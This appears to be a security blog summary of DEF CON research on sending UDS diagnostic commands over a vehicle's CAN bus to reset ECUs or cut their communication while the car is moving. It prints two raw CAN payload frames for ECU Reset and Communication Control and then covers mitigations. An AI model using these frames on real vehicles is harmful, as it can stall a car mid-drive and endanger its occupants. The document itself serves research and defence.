How Fuzzing UDS on CAN Can Force a Vehicle to Stop Mid-Drive

TLDR: Researchers at DEF CON 2024 demonstrated that sending specific Unified Diagnostic Services (UDS) messages over a vehicle's CAN bus can trigger safety-critical malfunctions, including sudden stops and total loss of vehicle control. By exploiting the lack of state-based access control in diagnostic services like ECU Reset and Communication Control, an attacker can manipulate vehicle behavior while it is in motion. This research underscores the urgent need for automotive manufacturers to implement strict security access authorization for diagnostic services, even when the vehicle is in a non-ready state.

Modern vehicle security is often treated as a black box, but the underlying protocols are surprisingly permissive. The Unified Diagnostic Services (UDS) protocol, defined in ISO 14229, was designed for maintenance and diagnostics, not for public-facing exposure. When this protocol is implemented without robust state-based access control, it becomes a high-impact attack vector. The recent research presented at DEF CON 2024 proves that we can move beyond theoretical concerns and force real-world, safety-critical failures by simply fuzzing these diagnostic services.

The Mechanics of the Attack

The core issue lies in the fact that many Electronic Control Units (ECUs) do not properly validate the vehicle's operational state before executing diagnostic commands. In a secure implementation, services that can alter vehicle behavior should be restricted to a "Not Ready" state, meaning the engine is off or the vehicle is in a diagnostic mode. However, the researchers found that commands like ECU Reset (Service 0x11) and Communication Control (Service 0x28) remain active even when the vehicle is in "Drive" mode.

By connecting a standard CAN interface to the vehicle's OBD-II port, an attacker can inject these diagnostic frames directly onto the bus. The ECU Reset command is particularly dangerous because it forces the target ECU to reboot. If this happens while the vehicle is moving, it can cause the engine to stall or the transmission to lock, leading to a sudden, uncontrolled stop.

The Communication Control service is equally problematic. It allows an attacker to enable or disable communication channels for specific ECUs. By continuously sending these messages, an attacker can effectively perform a Denial of Service (DoS) attack on the vehicle's internal network, preventing the driver from controlling the vehicle or receiving critical status updates on the instrument cluster. This falls squarely under OWASP A01:2021-Broken Access Control, as the system fails to enforce the necessary restrictions on who can perform these actions and when.

Technical Execution and Payloads

The researchers demonstrated that these attacks do not require complex exploits or memory corruption. They rely on the legitimate, albeit misused, functionality of the UDS protocol. For an ECU Reset, the payload is straightforward:

# Hard Reset (0x11)
02 11 01 00 00 00 00 00

The 0x01 sub-function triggers a hard reset. When sent to a gateway ECU, this command can propagate across the vehicle's network, causing a cascade of reboots. The Communication Control attack uses a similar structure to disable transmission (TX) and reception (RX) for specific nodes:

# Disable TX/RX (0x28)
03 28 03 00 00 00 00 00

In this example, the 0x03 sub-function disables both TX and RX. By looping this command, an attacker can keep the target ECU in a state of communication isolation. The lack of authentication means that any device capable of speaking CAN can issue these commands. There is no handshake, no challenge-response, and no verification of the source.

Real-World Implications for Researchers

For a pentester or a security researcher, this research changes the threat model for automotive assessments. You no longer need to find a zero-day in a complex infotainment system to impact vehicle safety. If you can gain access to the CAN bus—whether through a compromised telematics unit, a malicious OBD-II dongle, or a physical connection—you have the primitives to cause physical harm.

During an engagement, you should prioritize identifying which UDS services are exposed and whether they check the vehicle's ignition or drive status. If you find that 0x11 or 0x28 services are accessible while the vehicle is in a "Ready" state, you have identified a critical vulnerability. The impact is not just data theft; it is the potential for a catastrophic loss of control.

The Path to Mitigation

Defenders must move away from the assumption that the CAN bus is a trusted environment. The most effective mitigation is the implementation of SecurityAccess (Service 0x27), which requires a seed-key exchange before sensitive diagnostic services can be executed. This forces an attacker to authenticate before they can issue commands that affect vehicle safety.

Furthermore, automotive gateways must be configured to filter diagnostic traffic based on the vehicle's current state. If the vehicle is in "Drive," the gateway should drop any UDS frames that could potentially interfere with powertrain or chassis control. This is a classic example of why Identification and Authentication Failures are so dangerous in embedded systems.

The research presented at DEF CON is a wake-up call for the automotive industry. We are seeing a shift where diagnostic protocols are being weaponized to bypass traditional safety mechanisms. As researchers, we need to continue pushing for these state-based checks and authentication requirements. If you are working on vehicle security, start by auditing your UDS implementation. If your ECUs respond to diagnostic commands while the vehicle is in motion, you have a critical vulnerability that needs to be addressed before it is discovered by someone with less benevolent intentions.